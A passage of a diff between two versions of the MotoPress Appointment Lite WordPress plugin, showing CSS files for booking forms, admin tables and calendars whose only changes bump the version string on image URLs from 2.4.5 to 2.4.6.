.sp-container .sp-palette-container{margin:auto}.iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags.png")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags@2x.png")}}.mpa-checkout-form .iti{width:100%}.mpa-phone-number--invalid{border-color:red;color:red}.mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}.mpa-time-period-ctrl select{margin-left:1em}.mpa-time-period-ctrl select:first-child{margin-left:0}.mpa-employee-google-calendar__status{text-align:center;padding:5px;color:green;font-weight:bold}.mpa-employee-google-calendar__connect-btn{text-align:center;margin-top:25px}.mpa-employee-google-calendar__connect-btn a{color:#2271b1;border-color:#2271b1;background:#f6f7f7;padding:6px;text-align:center;display:inline-block;text-decoration:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.mpa-employee-google-calendar__connect-btn a:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}.post-type-mpa_booking #post-body-content{display:none}
\ No newline at end of file
+.wp-core-ui .icon-button{display:flex;align-items:center;padding:5px}.wrap h2.wp-heading-inline{display:inline-block;margin-right:5px;margin-bottom:.25em}.wrap h2.wp-heading-inline+.page-title-action{top:-1px}#poststuff h2.mpa-fields-group-title{font-size:1.3em;line-height:1.3;font-weight:600;margin:1em 0;padding:0}.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url("../images/loading.gif?ver=2.4.6"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url("../images/preloader.gif?ver=2.4.6")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.mpa_tooltip{position:relative;display:inline-block}.mpa_tooltip:hover:after{content:attr(data-tooltip);position:absolute;bottom:calc(100% + 5px);left:0;font-size:10px;white-space:nowrap;background:#333;color:#fff;padding:3px 6px;border-radius:2px;z-index:9999;pointer-events:none;opacity:0;transition:opacity .1s;visibility:hidden}.mpa_tooltip:hover:before{content:"";position:absolute;bottom:100%;left:50%;transform:translateX(-50%) translateY(5px);border-width:5px;border-style:solid;border-color:#333 rgba(0,0,0,0) rgba(0,0,0,0) rgba(0,0,0,0);z-index:9999;pointer-events:none}.mpa_tooltip:hover:after,.mpa_tooltip:hover:before{opacity:1;visibility:visible}.mpa-dropdown{position:relative}.mpa-dropdown.page-title-dropdown{display:inline-block;position:relative;top:-8px;margin-left:0;font-weight:600;font-size:13px;line-height:normal}.mpa-dropdown .dropdown-toggle{min-height:28px;line-height:normal}.mpa-dropdown .dropdown-toggle::after{content:"";display:inline-block;width:0;height:0;margin-left:.35em;vertical-align:.15em;border-top:.45em solid;border-right:.35em solid rgba(0,0,0,0);border-bottom:0;border-left:.35em solid rgba(0,0,0,0)}.mpa-dropdown .dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.mpa-dropdown .dropdown-menu.show{display:block}.mpa-dropdown .dropdown-item{display:block;box-sizing:border-box;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;text-align:inherit;text-decoration:none;white-space:nowrap;background-color:rgba(0,0,0,0);border:0}.mpa-dropdown .dropdown-item:hover{background-color:#f8f9fa}.mpa-attributes-ctrl table .column-actions{width:5%}.mpa-attributes-ctrl .mpa-remove-button{cursor:pointer}.mpa-custom-workdays-ctrl table .column-actions{width:20%;text-align:center}.mpa-days-off-ctrl table .column-actions{width:20%;text-align:center}.mpa-edit-reservations-ctrl{display:flex;flex-wrap:wrap;position:relative}.mpa-edit-reservations-ctrl:not(.mpa-loaded),.mpa-edit-reservations-ctrl .mpa-booking-step:not(.mpa-loaded){min-height:52px;position:relative}.mpa-edit-reservations-ctrl label,.mpa-edit-reservations-ctrl select,.mpa-edit-reservations-ctrl input[type=text],.mpa-edit-reservations-ctrl input[type=email],.mpa-edit-reservations-ctrl input[type=tel]{width:100%}.mpa-edit-reservations-ctrl select,.mpa-edit-reservations-ctrl input[type=text],.mpa-edit-reservations-ctrl input[type=email],.mpa-edit-reservations-ctrl input[type=tel]{display:block}.mpa-edit-reservations-ctrl .mpa-message{width:100%}.mpa-edit-reservations-ctrl .mpa-actions{margin-top:1.5em}.mpa-edit-reservations-ctrl .mpa-booking-step{width:100%}.mpa-edit-reservations-ctrl .mpa-booking-step{width:100%}.mpa-edit-reservations-ctrl .mpa-booking-step .mpa-actions{margin-top:1em}.mpa-edit-reservations-ctrl .mpa-booking-step-service-form{max-width:100%}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-service-form{width:50%}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container{display:flex;flex-wrap:wrap;margin:0 -10px}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container{flex-wrap:nowrap}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{width:auto}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{padding:0 10px}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:20px}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:0}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-date-wrapper:not(.mpa-loaded){position:relative}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar{margin:0 0 0 1px;top:0;box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 0 0 rgba(0,0,0,.08)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .prevMonthDay.flatpickr-disabled,.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .nextMonthDay.flatpickr-disabled{opacity:0;cursor:default}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .cur-month,.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .numInputWrapper{pointer-events:none}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-days,.mpa-edit-reservations-ctrl .mpa-booking-step-period .dayContainer{width:100%;max-width:100%;min-width:100%}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-day{max-width:39px;height:39px;line-height:39px}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper{display:flex;flex-wrap:wrap;justify-content:center}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper{flex:1 0 auto}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-times-container{position:relative;width:100%;height:100%}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-times{overflow:auto;max-height:400px}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-times{position:absolute;top:0;bottom:0;left:0;right:0;max-height:100%}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-time-period{width:calc(100% - 10px);margin:0 5px 10px;padding:10px 5px}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-two-columns .mpa-time-period{width:calc(50% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-three-columns .mpa-time-period{width:calc(33.3333333333% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-four-columns .mpa-time-period{width:calc(25% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-five-columns .mpa-time-period{width:calc(20% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-period-end-time{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-show-end-time .mpa-period-end-time{display:inline}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-slot-capacity{display:block}.mpa-edit-reservations-ctrl .mpa-booking-step-cart .mpa-cart-item-template{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart .column-actions{width:25px}.mpa-edit-reservations-ctrl .mpa-booking-step-cart .column-actions .dashicons{cursor:pointer}.mpa-edit-reservations-ctrl .mpa-booking-step-cart.editable .mpa-reservation-clients-count{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart.editable .mpa-actions .mpa-button-edit{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.editable) .column-actions{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.editable) .mpa-reservation-clients select{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.editable) .mpa-button-new{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.mpa-loaded){position:relative}.mpa-payment-details-ctrl .mpa-payments{width:100%;border-collapse:collapse}@media screen and (min-width: 768px){.mpa-payment-details-ctrl .mpa-payments{max-width:47em}}.mpa-payment-details-ctrl .mpa-payments th{font-weight:500}.mpa-payment-details-ctrl .mpa-payments td,.mpa-payment-details-ctrl .mpa-payments th{padding:.85em;border:1px solid #d1d1d1;border-collapse:collapse;border-spacing:0;text-align:left}.mpa-payment-details-ctrl .mpa-payments td:last-child,.mpa-payment-details-ctrl .mpa-payments th:last-child{text-align:right}.mpa-payment-details-ctrl .mpa-payments td:only-child,.mpa-payment-details-ctrl .mpa-payments th:only-child{text-align:left}.mpa-payment-details-ctrl .mpa-add-payment-button{margin-top:1em}.mpa-service-variations-ctrl table .column-actions{width:5%}.mpa-service-variations-ctrl .mpa-remove-button{cursor:pointer}.mpa-timetable-ctrl .mpa-days-container{width:100%;display:flex}.mpa-timetable-ctrl .mpa-days-container .mpa-day-container{width:14.2857142857%;padding:1px}.mpa-timetable-ctrl .mpa-days-container .mpa-day-container .mpa-day-header{padding:10px;margin:0 0 2px;font-size:1.2em;line-height:1.5em;font-weight:bold;text-align:center;background-color:#faebd7}.mpa-timetable-ctrl .mpa-day-periods{padding:0;vertical-align:top}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period{padding:10px;margin-bottom:2px;background-color:#f0f8ff}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-remove-button{float:right;cursor:pointer;opacity:0}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period:hover .mpa-remove-button{opacity:1}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-period-activity,.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-period-location{display:inline-block;font-style:italic}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-period-location a{display:inline-block}.mpa-timetable-ctrl .mpa-controls .button{margin-right:8px}.mpa-timetable-ctrl .mpa-edit-table.mpa-hide+.mpa-controls .mpa-cancel-button{display:none}.mpa-employee-user-ctrl input{margin:5px 0;padding:6px 8px;border-radius:4px;border:1px solid #888}.mpa-color-picker-ctrl .sp-replacer{padding:0}.mpa-color-picker-ctrl .sp-replacer .sp-preview{border:none;margin:auto}.mpa-color-picker-ctrl .sp-replacer .sp-dd{height:auto}.mpa-color-picker-ctrl .sp-container{border:none}.mpa-color-picker-ctrl .sp-container .sp-picker-container,.mpa-color-picker-ctrl .sp-container .sp-palette-container{margin:auto}.iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags.png")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags@2x.png")}}.mpa-checkout-form .iti{width:100%}.mpa-phone-number--invalid{border-color:red;color:red}.mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}.mpa-time-period-ctrl select{margin-left:1em}.mpa-time-period-ctrl select:first-child{margin-left:0}.mpa-employee-google-calendar__status{text-align:center;padding:5px;color:green;font-weight:bold}.mpa-employee-google-calendar__connect-btn{text-align:center;margin-top:25px}.mpa-employee-google-calendar__connect-btn a{color:#2271b1;border-color:#2271b1;background:#f6f7f7;padding:6px;text-align:center;display:inline-block;text-decoration:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.mpa-employee-google-calendar__connect-btn a:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}.post-type-mpa_booking #post-body-content{display:none}
\ No newline at end of file
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/manage-posts.css /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/manage-posts.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/manage-posts.css	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/manage-posts.css	2026-06-30 15:16:08.000000000 +0000
@@ -15,7 +15,7 @@
   left: 0;
   width: 100%;
   height: 100%;
-  background: no-repeat center url("../images/loading.gif?ver=2.4.5"), rgba(255, 255, 255, 0.5);
+  background: no-repeat center url("../images/loading.gif?ver=2.4.6"), rgba(255, 255, 255, 0.5);
   background-size: 32px 32px;
   z-index: 9000;
 }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/manage-posts.min.css /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/manage-posts.min.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/manage-posts.min.css	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/manage-posts.min.css	2026-06-30 15:16:08.000000000 +0000
@@ -1 +1 @@
-.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url("../images/loading.gif?ver=2.4.5"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-dropdown{position:relative}.mpa-dropdown.page-title-dropdown{display:inline-block;position:relative;top:-8px;margin-left:0;font-weight:600;font-size:13px;line-height:normal}.mpa-dropdown .dropdown-toggle{min-height:28px;line-height:normal}.mpa-dropdown .dropdown-toggle::after{content:"";display:inline-block;width:0;height:0;margin-left:.35em;vertical-align:.15em;border-top:.45em solid;border-right:.35em solid rgba(0,0,0,0);border-bottom:0;border-left:.35em solid rgba(0,0,0,0)}.mpa-dropdown .dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.mpa-dropdown .dropdown-menu.show{display:block}.mpa-dropdown .dropdown-item{display:block;box-sizing:border-box;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;text-align:inherit;text-decoration:none;white-space:nowrap;background-color:rgba(0,0,0,0);border:0}.mpa-dropdown .dropdown-item:hover{background-color:#f8f9fa}.tablenav .actions{margin-bottom:.7em;padding-right:0}.tablenav .actions select{max-width:8rem}.mpa-entity-table-filter{float:left;margin-right:6px}.mpa-entity-table-filter input[type=date]{width:auto;display:inline-block;position:relative}.mpa-entity-table-filter input[type=date]::-webkit-calendar-picker-indicator{background:rgba(0,0,0,0);bottom:0;color:rgba(0,0,0,0);cursor:pointer;height:auto;left:0;position:absolute;right:0;top:0;width:auto}.mpa-export-progress-bar{width:100%;display:block;clear:both;margin:1em 0}.mpa-export-progress-bar label{font-weight:bold}.mpa-export-progress-bar #mpa-export-progress-bar{width:100%}
\ No newline at end of file
+.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url("../images/loading.gif?ver=2.4.6"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-dropdown{position:relative}.mpa-dropdown.page-title-dropdown{display:inline-block;position:relative;top:-8px;margin-left:0;font-weight:600;font-size:13px;line-height:normal}.mpa-dropdown .dropdown-toggle{min-height:28px;line-height:normal}.mpa-dropdown .dropdown-toggle::after{content:"";display:inline-block;width:0;height:0;margin-left:.35em;vertical-align:.15em;border-top:.45em solid;border-right:.35em solid rgba(0,0,0,0);border-bottom:0;border-left:.35em solid rgba(0,0,0,0)}.mpa-dropdown .dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.mpa-dropdown .dropdown-menu.show{display:block}.mpa-dropdown .dropdown-item{display:block;box-sizing:border-box;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;text-align:inherit;text-decoration:none;white-space:nowrap;background-color:rgba(0,0,0,0);border:0}.mpa-dropdown .dropdown-item:hover{background-color:#f8f9fa}.tablenav .actions{margin-bottom:.7em;padding-right:0}.tablenav .actions select{max-width:8rem}.mpa-entity-table-filter{float:left;margin-right:6px}.mpa-entity-table-filter input[type=date]{width:auto;display:inline-block;position:relative}.mpa-entity-table-filter input[type=date]::-webkit-calendar-picker-indicator{background:rgba(0,0,0,0);bottom:0;color:rgba(0,0,0,0);cursor:pointer;height:auto;left:0;position:absolute;right:0;top:0;width:auto}.mpa-export-progress-bar{width:100%;display:block;clear:both;margin:1em 0}.mpa-export-progress-bar label{font-weight:bold}.mpa-export-progress-bar #mpa-export-progress-bar{width:100%}
\ No newline at end of file
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/public.css /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/public.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/public.css	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/public.css	2026-06-30 15:16:08.000000000 +0000
@@ -19,7 +19,7 @@
   left: 0;
   width: 100%;
   height: 100%;
-  background: no-repeat center url("../images/loading.gif?ver=2.4.5"), rgba(255, 255, 255, 0.5);
+  background: no-repeat center url("../images/loading.gif?ver=2.4.6"), rgba(255, 255, 255, 0.5);
   background-size: 32px 32px;
   z-index: 9000;
 }
@@ -62,7 +62,7 @@
   display: inline-block;
   width: 20px;
   height: 20px;
-  background: no-repeat center url("../images/preloader.gif?ver=2.4.5");
+  background: no-repeat center url("../images/preloader.gif?ver=2.4.6");
 }
 
 .mpa-table th {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/public.min.css /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/public.min.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/public.min.css	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/public.min.css	2026-06-30 15:16:08.000000000 +0000
@@ -1 +1 @@
-:root{--mpa-grid-gap: 20px}.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url("../images/loading.gif?ver=2.4.5"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url("../images/preloader.gif?ver=2.4.5")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.mpa-grid{display:flex;flex-flow:row wrap;margin-right:calc(-1*var(--mpa-grid-gap, 20px));margin-left:calc(-1*var(--mpa-grid-gap, 20px))}.mpa-grid>.mpa-grid-column{padding:0 var(--mpa-grid-gap, 20px);margin-bottom:calc(2*var(--mpa-grid-gap, 20px));width:100%}@media(min-width: 768px){.mpa-grid>.mpa-grid-column{width:50%}}@media(min-width: 992px){.mpa-grid>.mpa-grid-column{width:16.667%}}.mpa-grid.mpa-grid-columns-1>.mpa-grid-column{width:100%}@media(min-width: 768px){.mpa-grid.mpa-grid-columns-2>.mpa-grid-column{width:50%}}@media(min-width: 768px){.mpa-grid.mpa-grid-columns-3>.mpa-grid-column{width:33%}}@media(min-width: 992px){.mpa-grid.mpa-grid-columns-4>.mpa-grid-column{width:25%}}@media(min-width: 992px){.mpa-grid.mpa-grid-columns-5>.mpa-grid-column{width:20%}}.mpa-preloader-skeleton-pulsate{background:linear-gradient(-45deg, #DDDDDD, #F0F0F0, #DDDDDD, #F0F0F0);background-size:400% 400%;animation:mpa-preloader-skeleton-pulsate-gradient 2.25s ease infinite}.mpa-stripe-element.mpa-preloader-skeleton-pulsate{width:100%;height:50px;position:relative;display:block;border-radius:4px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate:before,.mpa-stripe-element.mpa-preloader-skeleton-pulsate:after{content:"";position:absolute;top:calc(50% - 5px);height:10px;background:linear-gradient(-45deg, #cbcbcb, #dddddd, #cbcbcb, #dddddd);background-size:400% 400%;animation:mpa-preloader-skeleton-pulsate-gradient 2.25s ease infinite}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-payment-request-button-element:before{left:calc(50% - 70px);width:140px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-card-element:before{left:12px;width:200px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-card-element:after{right:12px;width:85px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-ideal-element:before{left:12px;width:200px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-ideal-element:after{right:12px;width:10px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate .mpa-stripe-iban-element:before{left:12px;width:200px}@-webkit-keyframes mpa-preloader-skeleton-pulsate-gradient{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}@-moz-keyframes mpa-preloader-skeleton-pulsate-gradient{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}@keyframes mpa-preloader-skeleton-pulsate-gradient{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}.mpa-posts-loop .mpa-loop-post-wrapper>*:first-child{margin-top:0}.mpa-posts-loop .mpa-loop-post-wrapper>*:last-child{margin-bottom:0}.mpa-posts-loop .post-thumbnail img{margin-top:0;margin-bottom:0}.mpa-pagination{margin-top:0}.appointment-form-shortcode,.appointment-form-widget>.widget-body{display:flex;flex-wrap:wrap;position:relative}.appointment-form-shortcode:not(.mpa-loaded),.appointment-form-widget>.widget-body:not(.mpa-loaded),.appointment-form-shortcode .mpa-booking-step:not(.mpa-loaded),.appointment-form-widget>.widget-body .mpa-booking-step:not(.mpa-loaded){min-height:52px;position:relative}.appointment-form-shortcode label,.appointment-form-widget>.widget-body label,.appointment-form-shortcode select,.appointment-form-widget>.widget-body select,.appointment-form-shortcode input[type=text],.appointment-form-widget>.widget-body input[type=text],.appointment-form-shortcode input[type=email],.appointment-form-widget>.widget-body input[type=email],.appointment-form-shortcode input[type=tel],.appointment-form-widget>.widget-body input[type=tel]{width:100%}.appointment-form-shortcode select,.appointment-form-widget>.widget-body select,.appointment-form-shortcode input[type=text],.appointment-form-widget>.widget-body input[type=text],.appointment-form-shortcode input[type=email],.appointment-form-widget>.widget-body input[type=email],.appointment-form-shortcode input[type=tel],.appointment-form-widget>.widget-body input[type=tel]{display:block}.appointment-form-shortcode .mpa-message,.appointment-form-widget>.widget-body .mpa-message{width:100%}.appointment-form-shortcode .mpa-actions,.appointment-form-widget>.widget-body .mpa-actions{margin-top:1.5em}.appointment-form-shortcode .mpa-booking-step,.appointment-form-widget>.widget-body .mpa-booking-step{width:100%}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item-template,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item-template{display:none}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item{margin-bottom:40px;border:1px solid #eee}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item>*,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item>*{width:50%}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item>*:last-child,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item>*:last-child{margin-bottom:0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .cell,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .cell{box-sizing:border-box;padding:5px 25px;width:100%}@media(min-width: 992px){.appointment-form-shortcode .mpa-booking-step .mpa-cart .cell,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .cell{width:50%}}.appointment-form-shortcode .mpa-booking-step .mpa-cart .cell-title,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .cell-title{font-weight:700;margin-bottom:0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-header,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-header,.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-body,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-body,.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-footer,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-footer{width:100%;display:flex;flex-wrap:wrap;padding:20px 0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-header,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-header{border-bottom:1px solid #eee;font-weight:700}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-header+.item-footer,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-header+.item-footer{border-top:0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-footer,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-footer{border-top:1px solid #eee}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-footer .cell,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-footer .cell{width:100%}.appointment-form-shortcode .mpa-booking-step-service-form,.appointment-form-widget>.widget-body .mpa-booking-step-service-form{max-width:100%}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-service-form,.appointment-form-widget>.widget-body .mpa-booking-step-service-form{width:50%}}.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container{display:flex;flex-wrap:wrap;margin:0 -10px}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container{flex-wrap:nowrap}.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{width:auto}}.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{padding:0 10px}.appointment-form-shortcode .mpa-booking-step-period .mpa-date-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period 